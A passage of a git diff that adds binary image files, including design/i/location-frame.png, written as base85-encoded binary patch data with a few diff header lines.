z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z000D5Nkl^LrOWJU5+{eB9RCM1qHzo)~N4#GB9qOh!8^E z3VO$K7kU@^KSGT=#Tt3>3X#%i#xv8cq@t9<J+h$#ZbSCzn!(n?siobeWr)o4xY1gu{$^LXIAv|Ctz3n5ju3R`1JAJ9=a5NenQ_>9$4SaCy zEyBwUwA5$~u2v{RGc#`{r`C6+CMD^Pjt)NkW(NyiEyuvX2nqxOg{G`<8tsi&Npz$( zPD;|RuX~M$o~vMbSt*XCQQAca2!|q^JJHQ=U$q?vws|Ki>76@wGFW_``PIw7&O-#j z5MDyTeEzxA$^KnO$t9gSz!rI7-{(cqyxFBCW#v<*L`#Jb2w{MNrHhtPS64@OcQ;Qy zyPT)qo=bkvM602z2nIq7_G=pJn+f$yyVi1`r5M0#P76K$%$DjxuUFu@3XMhp#RX-2 z`|)lHKP%+uA4jQLWg>k!uB5v_YYfAnP~OWgKeS<;4eu#=rk&Ws5w2bvAZ2ApT7&qEFufPD{Q7kpo8H`tQmU`9 zvGK#KWf%R4-1T*(>z-J z1Pd1~q^YTCd7bOLT<>%B-=UG>`9@8{$ zud5AjtUDIrKGGK@M%ItzI9O6*I}TF1NY^DNEqp3K*O@q#;rXmsv0`iodORNe{(GC~ z_&rV_9wL{sNn2?$R)(ydVKA2=CoMd#pU$7-Y<%b4iAlPmqJo!SSj&YYy+nwhg97CR z$Iv)FMSgyW&O=vu>FKqUmzPgm(zUg<%rNILa8eQo`;k!_H!4wOF7dxJ%=TBaX3d(( zOM3gZkC;`k0Q<`bV%JpEo)YvICB*)n$L7sj#+UTy{U002ovPDHLkV1k;vL&yLC literal 0 HcmV?d00001 diff --git a/design/i/location-frame.png b/design/i/location-frame.png new file mode 100644 index 0000000000000000000000000000000000000000..d7ca72f334a893acdd86f81dc647cd5104e143e9 GIT binary patch literal 62100 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 